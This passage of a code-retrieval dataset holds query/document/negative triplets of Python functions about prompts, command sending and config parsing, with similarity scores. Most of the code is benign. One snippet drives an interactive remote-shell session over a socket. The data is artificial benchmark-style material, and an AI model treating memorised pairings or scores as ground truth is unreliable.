\\\"section.open-ended-child>div.prompt\\\"\\r\\n prompts = self.q(css=prompt_css).map(lambda el: el.get_attribute('innerHTML').strip()).results\\r\\n\\r\\n if len(prompts) == 0:\\r\\n self.warning(\\\"Could not find essay prompt on page.\\\")\\r\\n return \\\"\\\"\\r\\n\\r\\n elif len(prompts) > 1:\\r\\n self.warning(\\\"Multiple essay prompts found on page; using the first one.\\\")\\r\\n\\r\\n return prompts[0]\",\n \"def test_prompt_msg_noask_postfix_fails(self):\\n self.expected['failed'] = True\\n self.expected['msg'] = \\\"Unexpected 'postfix' in non-question prompt.\\\"\\n\\n self.assertEquals(\\n self.prompt._prompt(self.response, {\\n \\\"say\\\": \\\"Hello World\\\",\\n \\\"postfix\\\": \\\"foobar\\\"\\n }),\\n self.expected\\n )\",\n \"def get_help_response():\\n\\n session_attributes = {}\\n card_title = \\\"乱数のある生活\\\"\\n speech_output = \\\"あなたのほしい乱数を生成します。\\\" \\\\\\n \\\"3つの選択肢から1つを選んでほしい時は，「3つのうちから一つ選んで」と話しかけてみてください。\\\" \\\\\\n \\\"サイコロやルーレットを振りたい時は，「サイコロを1回振って」などと話しかけてみてください。\\\" \\\\\\n \\\"「もう一度」と話しかけると一つ前と同じ条件で新しい乱数を生成します。\\\" \\\\\\n\\n # If the user either does not reply to the welcome message or says something\\n # that is not understood, they will be prompted again with this text.\\n # reprompt_text = speech_output\\n reprompt_text = \\\"\\\"\\n\\n should_end_session = False\\n return build_response(session_attributes, build_speechlet_response(\\n card_title, speech_output, reprompt_text, should_end_session))\",\n \"def get_welcome_response():\\n\\tsession_attributes = {}\\n\\tcard_title = \\\"Chromecast\\\"\\n\\tspeech_output = \\\"I can control your Chromecast, \\\" \\\\\\n\\t\\t\\t\\t\\t\\\"Tell me a video name, or to pause, resume, or turn the volume to numbers 1 through 100\\\"\\n\\treprompt_text = \\\"Please tell me a video name to look up, or say a command.\\\"\\n\\tshould_end_session = False\\n\\treturn build_response(session_attributes, build_speechlet_response(\\n\\t\\tcard_title, speech_output, reprompt_text, should_end_session))\",\n \"def do_command(command):\\n send_command(command)\\n response = get_response()\\n print(\\\"Rcvd: <<< \\\\n\\\" + response)\\n return response\",\n \"async def _set_base_prompt(self):\\n logger.info(\\\"Host {}: Setting base prompt\\\".format(self._host))\\n prompt = await self._find_prompt()\\n context = 'system'\\n # Cut off prompt from \\\"prompt/context\\\"\\n if '/' in prompt:\\n prompt, context = prompt[:-1].split('/')\\n else:\\n prompt = prompt[:-1]\\n self._base_prompt = prompt\\n self._current_context = context\\n delimeter1 = self._get_default_command('delimeter1')\\n delimeter2 = self._get_default_command('delimeter2')\\n self._base_pattern = r\\\"{}.*(\\\\/\\\\w+)?(\\\\(.*?\\\\))?[{}|{}]\\\".format(re.escape(self._base_prompt[:12]),\\n re.escape(delimeter1), re.escape(delimeter2))\\n logger.debug(\\\"Host {}: Base Prompt: {}\\\".format(self._host, self._base_prompt))\\n logger.debug(\\\"Host {}: Base Pattern: {}\\\".format(self._host, self._base_pattern))\\n logger.debug(\\\"Host {}: Current Context: {}\\\".format(self._host, self._current_context))\\n return self._base_prompt\",\n \"def _get_prompt_text(self):\\n return Blinking_Text(\\n self,\\n self.settings.font_light_filename,\\n 48,\\n self.settings.font_color,\\n 'Press Enter',\\n {'center': self.screen_rect.center},\\n 0,\\n 50,\\n )\",\n \"def get_welcome_response():\\n\\n session_attributes = {}\\n card_title = \\\"<YOUR WELCOME CARD TITLE HERE>\\\"\\n speech_output = \\\"<YOUR WELCOME MESSAGE HERE>\\\"\\n # If the user either does not reply to the welcome message or says something\\n # that is not understood, they will be prompted again with this text.\\n reprompt_text = \\\"<YOUR REPROMPT TEXT HERE>\\\"\\n should_end_session = False\\n return build_response(session_attributes, build_speechlet_response(\\n card_title, speech_output, reprompt_text, should_end_session))\",\n \"def prompt():\\r\\n\\tglobal mhp\\r\\n\\tglobal php\\r\\n\\tglobal pen\\r\\n\\tglobal fo\\r\\n\\tglobal men\\r\\n\\tprint \\\"Socanda %dHP-%dEn, %s %dHP-%dEn\\\" % (php, pen, fo, mhp, men)\",\n \"def _wrap_prompt_process_response(\\n func: Callable[[PromptBase[PromptType], str], PromptType]\\n ) -> Callable[[PromptBase[PromptType], str], PromptType]:\\n\\n @override # type: ignore[misc]\\n @wraps(func)\\n def process_response(prompt: PromptBase[PromptType], value: str) -> PromptType:\\n return_value: PromptType = func(prompt, value)\\n\\n if return_value == \\\"help\\\":\\n LOGGER.debug(\\\"User requested help.\\\")\\n raise InvalidResponse(\\n \\\"[yellow]A conflict between an existing (left) and newly added entry (right) \\\"\\n \\\"occurred. These are your options:\\\\n\\\"\\n \\\" 'keep' the existing entry and discard the new addition (default)\\\\n\\\"\\n \\\" 'replace' the existing entry with the new one\\\\n\\\"\\n \\\" 'update' the existing entry with the new data\\\\n\\\"\\n \\\" 'disambiguate' the new entry from the existing one by adding a label suffix\\\"\\n )\\n\\n return return_value\\n\\n return process_response\",\n \"def _send_command_postprocess(output):\\n return \\\"\\\\n\\\".join(filter(len, output.split('\\\\n')))\",\n \"def print_response(response):\\n print(response)\\n print(\\\"-\\\"*30)\",\n \"def get_welcome_response(): \\r\\n extronSend('Welcome'.encode())\\r\\n session_attributes = {}\\r\\n card_title = \\\"Welcome\\\"\\r\\n speech_output = \\\"Welcome to the extron control System!\\\"\\r\\n # If the user either does not reply to the welcome message or says something\\r\\n # that is not understood, they will be prompted again with this text.\\r\\n reprompt_text = \\\" \\\"\\r\\n should_end_session = False\\r\\n \\r\\n return build_response(session_attributes, build_speechlet_response(\\r\\n card_title, speech_output, reprompt_text, should_end_session))\",\n \"def interact(self):\\n print('Ready to interact on socket connected with {}.'.format(self.remote_addr))\\n try:\\n # get initial input from user\\n print('Enter input or press CTRL-D for no input.')\\n data = sys.stdin.readline()\\n self.remote_socket.sendall(data.encode())\\n while True:\\n if data.startswith('exit'):\\n print('[*] Closing remote shell.')\\n self.close()\\n break\\n # wait for response from target host\\n recv_len = 1\\n response = ''\\n while recv_len:\\n data = self.remote_socket.recv(4096)\\n recv_len = len(data)\\n response += data.decode()\\n if recv_len < 4096:\\n break\\n print(response)\\n # get further input from user\\n print('Enter further input or press CTRL-D for no input.')\\n data = sys.stdin.readline()\\n self.remote_socket.sendall(data.encode())\\n except Exception as e:\\n print(e)\\n print('[*] Closing remote shell.')\\n self.close()\",\n \"def _format_output(self, cmd, resp):\\n cmd_words = cmd.split()\\n\\n # Fixup the white spaces first, as some devices are inserting backspace\\n # characters in the command echo\\n cmd_output = self._fixup_whitespace(resp.data)\\n\\n # Command regex in the output\\n # [SPACE]{Command string}[SPACE]\\n # The words in the command string can be separated by mulitple spaces.\\n # for e.g regex for matching 'show version' command would be\\n # b'^\\\\s*show\\\\s+version\\\\s*$'\\n # We also need to escape the words to handle characters like '|'\\n cmd_words_esc = (re.escape(w) for w in cmd_words)\\n cmd_re = br\\\"^\\\\s*\\\" + br\\\"\\\\s+\\\".join(cmd_words_esc) + br\\\"([ \\\\t]*\\\\n)*\\\"\\n\\n # Now replace the 'command string' in the output with a sanitized\\n # version (redundant spaces removed)\\n # ' show version ' ==> 'show version'\\n cmd_output = re.sub(cmd_re, b\\\" \\\".join(cmd_words) + b\\\"\\\\n\\\", cmd_output, 1, re.M)\\n\\n # Now we need to prepend the prompt to the command output. The prompt is\\n # the matched part in the 'resp'\\n output = resp.matched.strip() + b\\\" \\\" + cmd_output\\n\\n return output\",\n \"def ask(self, message):\\n\\n self.write(message)\\n\\n if self.multi_command is None:\\n return self.read()\\n else:\\n self.responses_expected += 1\",\n \"def raw_input(self, prompt=''):\\n self.new_prompt(prompt)\\n self._input_state = 'raw_input'\\n if hasattr(self, '_cursor'):\\n del self._cursor\\n self.SetCursor(wx.StockCursor(wx.CURSOR_CROSS))\\n self.__old_on_enter = self._on_enter\\n event_loop = wx.EventLoop()\\n def my_on_enter():\\n event_loop.Exit()\\n self._on_enter = my_on_enter\\n # XXX: Running a separate event_loop. Ugly.\\n event_loop.Run()\\n self._on_enter = self.__old_on_enter\\n self._input_state = 'buffering'\\n self._cursor = wx.BusyCursor()\\n return self.input_buffer.rstrip('\\\\n')\",\n \"def interact(self, prompt='debug> '):\\r\\n msg = 'Entering Octave Debug Prompt...\\\\n%s' % prompt\\r\\n self.stdout.write(msg)\\r\\n while 1:\\r\\n inp_func = input if not PY2 else raw_input\\r\\n try:\\r\\n inp = inp_func() + '\\\\n'\\r\\n except EOFError:\\r\\n return\\r\\n if inp in ['exit\\\\n', 'quit\\\\n', 'dbcont\\\\n', 'dbquit\\\\n']:\\r\\n inp = 'return\\\\n'\\r\\n self.write('disp(char(3));' + inp)\\r\\n if inp == 'return\\\\n':\\r\\n self.write('return\\\\n')\\r\\n self.write('clear _\\\\n')\\r\\n self.readline()\\r\\n self.readline()\\r\\n if not pty is None:\\r\\n self.readline()\\r\\n self.write('disp(char(3))\\\\n')\\r\\n return\\r\\n self.expect('\\\\x03')\\r\\n self.stdout.write(self.expect(prompt))\",\n \"def prompt(self, prompt_text: str) -> str:\\r\\n try:\\r\\n if self.__use_standard_console:\\r\\n user_input = prompt(prompt_text,\\r\\n history=self.__history,\\r\\n auto_suggest=self.__auto_suggest,\\r\\n completer=self.__completer)\\r\\n else:\\r\\n user_input = self.__alt_prompt(prompt_text)\\r\\n except KeyboardInterrupt:\\r\\n return self.__ctrl_c_command\\r\\n return user_input\",\n \"def visible_prompt(self):\\n return strip_ansi(self.prompt)\",\n \"def log_to_shell(index, qid_raw, condition_raw, output_raw, decoded_seqeunce):\\n print(\\\"Sample index\\\", index)\\n print(\\\"QID: \\\", qid_raw)\\n print(\\\"CONDITION: \\\", condition_raw)\\n print(\\\"OUTPUT: \\\", output_raw,'\\\\n')\\n print(\\\"Predicted OUTPUT: \\\", decoded_seqeunce, '\\\\n\\\\n')\",\n \"def do_echo(self, line):\\n print line.replace('$out', self.last_output)\",\n \"def run_cli(self, command=None):\\n if command is None:\\n return \\\"FAILURE\\\"\\n\\n conn_expect = self.get_expect_connection()\\n expect = ['bytes*', '>']\\n response = conn_expect.request(\\\"read_until_prompt\\\",\\n command,\\n expect,\\n None)\\n if response is 'FAILURE':\\n return 'FAILURE'\\n\\n return response\",\n \"def render_prompt(self) -> str:\\n # pylint: disable=no-member\\n return '{}render: '.format(self.prompt)\",\n \"def fresh_stdout(self):\\n if self._uuid is None:\\n return \\\"\\\"\\n resp = self._connection._post(\\n get_url('task stdout', uuid=self._uuid))\\n\\n if resp.status_code == 404:\\n raise MissingTaskException(resp.json()['message'])\\n\\n raise_on_error(resp)\\n return resp.text\",\n \"def get_welcome_response():\\n\\n session_attributes = {}\\n card_title = \\\"Welcome\\\"\\n speech_output = \\\"Welcome to WordBox. Ask for a synonym, an antonym, rhyme, definition, and more for a word by saying something like 'synonym for happy'. Hear all commands by saying 'all commands'.\\\"\\n # If the user either does not reply to the welcome message or says something\\n # that is not understood, they will be prompted again with this text.\\n reprompt_text = \\\"Ask for a synonym, antonym, part of speech, rhyme, definition, syllables, frequency, or pronunciation!\\\"\\n should_end_session = False\\n return build_response(session_attributes, build_speechlet_response(card_title, speech_output, reprompt_text, should_end_session))\",\n \"def stdout_read(self, timeout):\\n chan = self._chan\\n now = datetime.datetime.now()\\n timeout_time = now + datetime.timedelta(seconds=timeout)\\n output = \\\"\\\"\\n while not _SHELL_PROMPT.search(output):\\n rd, wr, err = select([chan], [], [], _SELECT_WAIT)\\n if rd:\\n data = chan.recv(_RECVSZ)\\n output += data.decode()\\n if datetime.datetime.now() > timeout_time:\\n raise TimeoutError\\n return output\",\n \"def sendCmd(self, cmd, timeout=300, ignoreErrors=False,expected_param = \\\"]#\\\"):\\n self.resetStream()\\n\\n cmd = cmd.strip()\\n cmd = re.sub(r\\\"[\\\\r\\\\n\\\\t\\\\s]+\\\", \\\" \\\", cmd)\\n try:\\n available_data = self._session.read_nonblocking(size=1000, timeout=0.5) # Read all available output\\n if re.search(\\\"logging out\\\", available_data, flags=re.I):\\n logger.info(\\\"Logged out due to inactivity. Reconnecting..\\\")\\n self.reconnect()\\n except pexpect.TIMEOUT: pass\\n\\n self._session.sendline(cmd)\\n\\n self.last_output = \\\"\\\"\\n while True:\\n i = self._session.expect([self._prompt, pexpect.EOF, pexpect.TIMEOUT, \\\"logging out\\\", self.promptmore,expected_param], timeout=timeout)\\n #print \\\"Value of i \\\" + str(i)\\n if i == 0:\\n # Prompt found\\n self.last_match = self._session.match\\n self.last_output += self._session.before\\n break\\n if i == 1:\\n # EOF\\n logger.error(\\\"Connection closed %s\\\" % self)\\n raise ValueError(\\\"Connection Closed\\\")\\n elif i == 2:\\n # TIMEOUT\\n logger.error(str(self._session))\\n logger.error(\\\"Time Out\\\")\\n raise ValueError(\\\"Time Out\\\")\\n elif i == 3:\\n logger.info(\\\"Logged out due to inactivity. Reconnecting..\\\")\\n self.reconnect()\\n self._session.sendline(cmd)\\n continue\\n elif i == 4:\\n # More prompt. Send Space\\n self.last_output += self._session.before\\n self._session.send(\\\" \\\")\\n continue\\n elif i == 5:\\n self.last_output = self._session.before\\n break\\n\\n #logger.debug(\\\"Output Before Removing command: %s\\\" % self.last_output)\\n #self.last_output = re.sub(\\\"(?m)\\\" + re.escape(cmd), \\\"\\\", self.last_output)\\n #logger.debug(\\\"Output After Removing command: %s\\\" % self.last_output)\\n\\n #if not ignoreErrors and re.search(\\\"\\\\b:*(error|unable|failed|failure|unrecognized command):*\\\\b\\\", self.last_output, re.I):\\n # logger.error(\\\"Error while executing command\\\")\\n\\n if cmd.startswith(\\\"hadoop\\\"):\\n #logger.debug(\\\"Before removal: '%s'\\\" % self.last_output)\\n self.last_output = re.sub(r\\\"(?m)^\\\\s*WARNING:.*$\\\", \\\"\\\", self.last_output)\\n #logger.debug(\\\"After removal: '%s'\\\" % self.last_output)\\n\\n # Remove some special characters seen in new platforms (gingko onwards)\\n #logger.debug(\\\"Output before removing special chars: %s\\\" % self.last_output)\\n ret_val = remove_special(self.last_output)\\n\\n #logger.debug(\\\"Output after removing special chars: %s\\\" % ret_val)\\n return ret_val.strip()\",\n \"def _check_command(self, resp, prompt):\\n for line in resp.split(NEWLINE):\\n if line.startswith('?'):\\n raise InstrumentProtocolException('error processing command (%r)', resp[1:])\\n if line.startswith('*'): # response\\n if not valid_response(line):\\n raise InstrumentProtocolException('checksum failed (%r)', line)\",\n \"def poutput(self, msg):\\n if msg:\\n self.stdout.write(msg)\\n if msg[-1] != '\\\\n':\\n self.stdout.write('\\\\n')\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.59774065","0.59364516","0.5923323","0.5923323","0.5696055","0.56759435","0.56740737","0.562927","0.55930865","0.5571562","0.5549954","0.55442077","0.55442077","0.5541861","0.5516136","0.55004907","0.54771006","0.5472862","0.54632956","0.5442928","0.5430304","0.5398319","0.53692234","0.53671795","0.53634316","0.5352779","0.5349102","0.53478515","0.53377676","0.5327826","0.5294214","0.5286687","0.5280434","0.52787346","0.52488714","0.524533","0.52419436","0.52410764","0.52396107","0.52244604","0.52165484","0.52042294","0.51984715","0.51774985","0.51719445","0.5167113","0.51663834","0.51652634","0.51647645","0.51615137","0.51563776","0.5156334","0.5154205","0.51509553","0.5146517","0.5142384","0.5136241","0.5122589","0.5106734","0.5097433","0.50948954","0.50892305","0.508666","0.5084719","0.5075154","0.50737494","0.50706077","0.50690806","0.50614876","0.5060275","0.505906","0.5053258","0.5052676","0.5048727","0.50475276","0.5046405","0.50448394","0.5043944","0.50306666","0.5028049","0.50210565","0.50119466","0.50100803","0.5009696","0.50081193","0.4999967","0.4997511","0.49885756","0.49876922","0.49873605","0.4971266","0.49705246","0.49645606","0.49632716","0.49632564","0.4957903","0.49573877","0.49498314","0.49477023","0.49466574"],"string":"[\n \"0.59774065\",\n \"0.59364516\",\n \"0.5923323\",\n \"0.5923323\",\n \"0.5696055\",\n \"0.56759435\",\n \"0.56740737\",\n \"0.562927\",\n \"0.55930865\",\n \"0.5571562\",\n \"0.5549954\",\n \"0.55442077\",\n \"0.55442077\",\n \"0.5541861\",\n \"0.5516136\",\n \"0.55004907\",\n \"0.54771006\",\n \"0.5472862\",\n \"0.54632956\",\n \"0.5442928\",\n \"0.5430304\",\n \"0.5398319\",\n \"0.53692234\",\n \"0.53671795\",\n \"0.53634316\",\n \"0.5352779\",\n \"0.5349102\",\n \"0.53478515\",\n \"0.53377676\",\n \"0.5327826\",\n \"0.5294214\",\n \"0.5286687\",\n \"0.5280434\",\n \"0.52787346\",\n \"0.52488714\",\n \"0.524533\",\n \"0.52419436\",\n \"0.52410764\",\n \"0.52396107\",\n \"0.52244604\",\n \"0.52165484\",\n \"0.52042294\",\n \"0.51984715\",\n \"0.51774985\",\n \"0.51719445\",\n \"0.5167113\",\n \"0.51663834\",\n \"0.51652634\",\n \"0.51647645\",\n \"0.51615137\",\n \"0.51563776\",\n \"0.5156334\",\n \"0.5154205\",\n \"0.51509553\",\n \"0.5146517\",\n \"0.5142384\",\n \"0.5136241\",\n \"0.5122589\",\n \"0.5106734\",\n \"0.5097433\",\n \"0.50948954\",\n \"0.50892305\",\n \"0.508666\",\n \"0.5084719\",\n \"0.5075154\",\n \"0.50737494\",\n \"0.50706077\",\n \"0.50690806\",\n \"0.50614876\",\n \"0.5060275\",\n \"0.505906\",\n \"0.5053258\",\n \"0.5052676\",\n \"0.5048727\",\n \"0.50475276\",\n \"0.5046405\",\n \"0.50448394\",\n \"0.5043944\",\n \"0.50306666\",\n \"0.5028049\",\n \"0.50210565\",\n \"0.50119466\",\n \"0.50100803\",\n \"0.5009696\",\n \"0.50081193\",\n \"0.4999967\",\n \"0.4997511\",\n \"0.49885756\",\n \"0.49876922\",\n \"0.49873605\",\n \"0.4971266\",\n \"0.49705246\",\n \"0.49645606\",\n \"0.49632716\",\n \"0.49632564\",\n \"0.4957903\",\n \"0.49573877\",\n \"0.49498314\",\n \"0.49477023\",\n \"0.49466574\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6925466"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":15393,"cells":{"query":{"kind":"string","value":"parse the config file to produce a dict of absorbers, parameters and allowed ranges"},"document":{"kind":"string","value":"def configure(config_file):\n Config.config_file = config_file\n config = ConfigParser()\n config.optionxform = str\n config.read(config_file)\n dct = {}\n for item in list(config.sections()):\n dct[item] = dict(config.items(item))\n\n for item in dct.keys():\n if item == 'config':\n for key in dct[item].keys():\n dct[item][key] = tf(dct[item][key])\n\n if item == 'continuum':\n for key, val in dct[item].items():\n val = val.split(',')\n if len(val) == 2:\n dct[item][key] = {'xlim': float(val[0]), 'ylim': float(val[1])}\n dct[item][key] = {'ylim': float(val[0])}\n else:\n for k in [\"N\", \"b\", \"z\"]:\n try:\n dct[item][k] = dct[item][k].replace(\" \", \"\")\n dct[item][k] = list(map(float, dct[item][k].strip().split(',')))\n except KeyError:\n pass\n\n cond = []\n if \"N\" in dct[item].keys():\n cond += [dct[item][\"N\"][0] < 10., dct[item][\"N\"][-1] > 23.,\n dct[item][\"N\"][-1] < dct[item][\"N\"][0]]\n\n if \"b\" in dct[item].keys():\n cond += [dct[item][\"b\"][0] < 0., dct[item][\"b\"][-1] < dct[item][\"b\"][0]]\n\n if \"z\" in dct[item].keys():\n cond += [dct[item][\"z\"][-1] < dct[item][\"z\"][0]]\n\n if any(cond):\n raise Exception(\"check your random sampling inputs\")\n\n set_config_defaults(dct)\n _set_values(dct)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def parseConfig(self, filename):\n parameters = {}\n try:\n f = open(filename)\n except Exception as inst:\n print(type(inst))\n print(inst.args)\n print(inst)\n print('cannot open', filename)\n raise\n else:\n for line in f:\n # Remove text after comment character.\n if self.comment_char in line:\n line, comment = line.split(self.comment_char,\n 1) # Split on comment character, keep only the text before the character\n\n # Find lines with parameters (param=something)\n if self.param_char in line:\n parameter, value = line.split(self.param_char, 1) # Split on parameter character\n parameter = parameter.strip() # Strip spaces\n value = value.strip()\n parameters[parameter] = value # Store parameters in a dictionary\n\n f.close()\n\n return parameters","def parse_config(self):\n # TODO: parse config file\n pass","def get_config_params(config_file_name=\"config\\import.ini\"):\n\n configParser=configparser.ConfigParser()\n configfile=config_file_name\n configfile_path=os.path.abspath(configfile)\n configParser.read(configfile_path)\n # READING INI FILE\n #db params\n db_params=dict()\n db_params['user']=configParser.get('DB','pangaea_db_user')\n db_params['pwd']=configParser.get('DB','pangaea_db_pwd')\n db_params['db']=configParser.get('DB','pangaea_db_db')\n db_params['host']=configParser.get('DB','pangaea_db_host')\n db_params['port']=configParser.get('DB','pangaea_db_port')\n #terminologies\n terminologies_params=configParser.get('INPUT','terminologies') # parameters for each terminology as JSON str\n terminologies_params_parsed=json.loads(terminologies_params)\n\n return db_params,terminologies_params_parsed","def get_range_info(self):\n with open(self.range_path, 'r') as _file:\n for line in _file.readlines():\n list0 = line.strip().split('-')\n range_dict = {\n 'min': int(list0[0], 16),\n 'max': int(list0[1], 16),\n 'max_offset': int(list0[1], 16) - int(list0[0], 16),\n }\n self.ranges.append(range_dict)","def read_cfg(file):\n result = []\n if isfile(file):\n with open(file) as f:\n cfg = json.load(f)\n for entry in cfg:\n if \"start\" in entry:\n filter = (entry[\"start\"], entry.get(\"end\", None))\n result.append(filter)\n return result","def _read_parameter_file():\n if not os.path.exists(\"./config.txt\"):\n raise FileNotFoundError(\"Can't find the configuration file \"\n \"./config.txt\")\n\n required = ['compiler_suite', 'project_name', 'scratch_path',\n 'specfem_root', 'lasif_path', 'iteration_name']\n\n # Read parameters into dictionary.\n parameters = {}\n file = open(\"./config.txt\", \"r\")\n for line in file:\n if line.startswith(\"#\"):\n continue\n fields = line.split()\n parameters.update({fields[0]: fields[1]})\n\n # Ensure all parameters are there.\n for param in required:\n if param not in parameters.keys():\n raise ParameterError(\"Parameter \" + param + \" not in parameter \"\n \"file\")\n\n # Build full paths.\n parameters['scratch_path'] = os.path.abspath(parameters['scratch_path'])\n parameters['specfem_root'] = os.path.abspath(parameters['specfem_root'])\n parameters['lasif_path'] = os.path.abspath(parameters['lasif_path'])\n\n # Derived parameters.\n forward_stage_dir = os.path.join(\n parameters['scratch_path'],\n parameters['project_name'])\n forward_run_dir = os.path.join(\n forward_stage_dir,\n parameters['iteration_name'])\n lasif_scratch_path = os.path.join(\n parameters['scratch_path'],\n os.path.basename(\n parameters['lasif_path']))\n\n # Get list of all event names.\n try:\n iteration_xml_path = os.path.join(\n parameters['lasif_path'],\n 'ITERATIONS',\n 'ITERATION_%s.xml' %\n (parameters['iteration_name']))\n tree = ET.parse(iteration_xml_path)\n except:\n iteration_xml_path = os.path.join(\n lasif_scratch_path,\n 'ITERATIONS',\n 'ITERATION_%s.xml' %\n (parameters['iteration_name']))\n tree = ET.parse(iteration_xml_path) \n \n root = tree.getroot()\n event_list = []\n for name in root.findall('event'):\n for event in name.findall('event_name'):\n event_list.append(event.text)\n\n parameters.update({'forward_stage_dir': forward_stage_dir})\n parameters.update({'forward_run_dir': forward_run_dir})\n parameters.update({'iteration_xml_path': iteration_xml_path})\n parameters.update({'event_list': sorted(event_list)})\n parameters.update({'lasif_scratch_path': lasif_scratch_path})\n\n return parameters","def parse_config_file(config_file : str) -> dict:\n try:\n config = ConfigParser()\n config.read(config_file)\n\n params = {\n \"config_file\" : config_file,\n \"microservice_port\" : \"0\",\n \"loopback_nr\" : \"10\",\n \"loopback_name\" : \"Fakewebcam\",\n \"loopback_exclusive\" : \"1\",\n \"pid\" : \"/var/run/fakewebcam.pid\",\n }\n\n params[\"config_file\"] = os.path.realpath(config_file)\n params[\"microservice_port\"] = config[\"bodypix\"][\"service_port\"]\n params[\"loopback_nr\"] = os.path.basename(config[\"loopback\"][\"device\"]).split(\"video\")[1]\n params[\"loopback_name\"] = config[\"loopback\"][\"name\"]\n params[\"loopback_exclusive\"] = config[\"loopback\"][\"exclusive_caps\"]\n params[\"pid\"] = config[\"daemon\"][\"pid\"]\n\n return params\n except Exception as e:\n print(\"ERROR: {}: {}\".format(config_file, e))\n exit(1)","def getParams(self):\n self.logger.info(\"Getting All Params from config file.\")\n self.params = {}\n for interface in self.config.get('agent', 'interfaces'):\n params = self.params.setdefault(interface, {})\n for item in [['intf_reserve', 1000], ['intf_max', 10000], ['l3enabled', True]]:\n if self.config.has_option(interface, item[0]):\n params[item[0]] = self.config.get(interface, item[0])\n else:\n params[item[0]] = item[1]\n # Take out reserved from intf_max\n self.params[interface]['intf_max'] -= self.params[interface]['intf_reserve']","def f_read_adr_parameters_from_txt_file(parameters_file):\n dict = {}\n file = open(parameters_file, \"r\")\n for line in file:\n if line.strip().startswith('#') or line.strip().startswith('Parameter'):\n pass\n else:\n line = line.strip().replace(' ', '').split(',')\n if line[0] == 'ADR_mode': dict[\"operation_mode_num\"] = line[1]\n if line[0] == 'FFT_size': dict[\"FFT_size_samples\"] = line[1]\n if line[0] == 'Averaged_spectra': dict[\"spectra_averaging\"] = line[1]\n if line[0] == 'Start_freq_line': dict[\"start_line_freq\"] = line[1]\n if line[0] == 'Width_freq_lines': dict[\"width_line_freq\"] = line[1]\n if line[0] == 'CLC_source': dict[\"clock_source\"] = line[1]\n if line[0] == 'Sum_diff_mode': dict[\"sum_diff_mode_num\"] = line[1]\n if line[0] == 'Dif_delay': dict[\"chan_diff_delay\"] = line[1]\n if line[0] == 'File_size': dict[\"data_file_size\"] = line[1]\n\n return dict","def parse_config(config_file):\n\n conf = {}\n config = configparser.ConfigParser()\n valid_schedule = r'\\d{1,2}:\\d{2}(:\\d{2})*\\s+[AM|PM]'\n \n #configparser does not throw exception (empty dataset if files are not found)\n if(len(config.read(config_file)) == 0):\n raise FileNotFoundError(\"Failed to find config file\")\n\n\n conf['credentials'] = {\"username\": config['credentials']['username'], \"password\": config['credentials']['password']}\n conf['hashtags'] = [hashtag for hashtag in config['hashtags'].values()]\n conf['schedule'] = [time.upper() for time in config['schedule'].values() if re.search(valid_schedule,time, re.IGNORECASE)]\n conf['driverpath'] = config['driver']['path']\n\n return conf","def parse_config(file):\n\n # dictionaries specifying required parameters for various modules\n general = [\"tube_number\", \"tube_radius\", \"collision_objects_filename\"]\n optimizers = {\"nelder_mead\": [\"optimizer_precision\", \"optimize_iterations\"]}\n solvers = {\"rrt\": [\"step_bound\", \"iteration_number\",\n \"tube_lengths\", \"single_tube_control\", \"rotation_max\"],\n \"rrt_star\": [\"step_bound\", \"iteration_number\", \"tube_lengths\", \"rotation_max\"]}\n models = {\"kinematic\": [\"q_dof\", \"delta_x\", \"tube_lengths\", \"strain_bases\"],\n \"static\": [\"q_dof\", \"delta_x\", \"tube_lengths\", \"strain_bases\",\n \"basis_type\", \"degree\"]}\n heuristics = {\"square_obstacle_avg_plus_weighted_goal\": [\"goal_weight\"],\n \"only_goal_distance\": [],\n \"follow_the_leader\": [\"only_tip\"],\n \"follow_the_leader_w_insertion\": [\"only_tip\", \"insertion_weight\"],\n \"follow_the_leader_translation\": [\"only_tip\"]}\n\n # groups together the required parameter dictionaries\n dictionaries = {\"optimizer\": optimizers, \"solver\": solvers,\n \"model\": models, \"heuristic\": heuristics}\n\n # dictionary detailing all of the default parameter values\n defaults = {\"optimizer_type\": \"nelder_mead\",\n \"solver_type\": \"rrt\",\n \"model_type\": \"kinematic\",\n \"heuristic_type\": \"square_obstacle_avg_plus_weighted_goal\",\n \"tube_number\": 2,\n \"tube_radius\": [3, 2],\n \"collision_objects_filename\": \"init_objects.json\",\n \"optimizer_precision\": 0.1,\n \"step_bound\": 3,\n \"tube_lengths\": [60, 50],\n \"iteration_number\": 2000,\n \"rewire_probability\": 0.1,\n \"goal_weight\": 2,\n \"q_dof\": [1, 1],\n \"delta_x\": 1,\n \"single_tube_control\": True,\n \"optimize_iterations\": 50,\n \"only_tip\": True,\n \"insertion_weight\": 10,\n \"strain_bases\": [\"constant\", \"constant\"],\n \"basis_type\": \"last_strain_base\",\n \"degree\": 2,\n \"rotation_max\": 0.1745\n }\n\n with file.open(mode='r') as fid:\n config = yaml.full_load(fid)\n\n if config is None: # for empty config file\n config = dict()\n\n for g in general:\n if g not in config:\n config[g] = defaults.get(g)\n print(f\"{g} not specified in {file.name}. Using default value \"\n f\"{defaults.get(g)} instead.\")\n\n _config_helper(\"optimizer_type\", optimizers, config, file.name, defaults)\n _config_helper(\"solver_type\", solvers, config, file.name, defaults)\n _config_helper(\"model_type\", models, config, file.name, defaults)\n _config_helper(\"heuristic_type\", heuristics, config, file.name, defaults)\n\n config_validation(config)\n\n return config, dictionaries","def processConfigFile(configFilePath):\n\tret0 = [];\n\tret1 = [];\n\te = xml.etree.ElementTree.parse(configFilePath).getroot();\n\tfor entry in e:\n\t\tif entry.tag == 'calibration_parameter':\n\t\t\tthisDict = {};\n\t\t\tthisDict['keys'] = [];\n\t\t\tfor item in entry:\n\t\t\t\tif item.tag == ('name' or 'description'):\n\t\t\t\t\tthisDict[item.tag] = item.text;\n\t\t\t\telif item.tag == 'keys':\n\t\t\t\t\tthisKeys = [];\n\t\t\t\t\tkeyNum = int(item.attrib['number']);\n\t\t\t\t\tfor keyIndex in range(keyNum):\n\t\t\t\t\t\tthisKeys.append(item[keyIndex].text);\n\t\t\t\t\tthisDict['keys'].append(thisKeys);\n\t\t\t\telif item.tag == 'range':\n\t\t\t\t\tthisRange = [None, None];\n\t\t\t\t\tfor rangeIndex in range(2):\n\t\t\t\t\t\tif item[rangeIndex].tag == 'max':\n\t\t\t\t\t\t\tthisRange[0] = float(item[rangeIndex].text);\n\t\t\t\t\t\telif 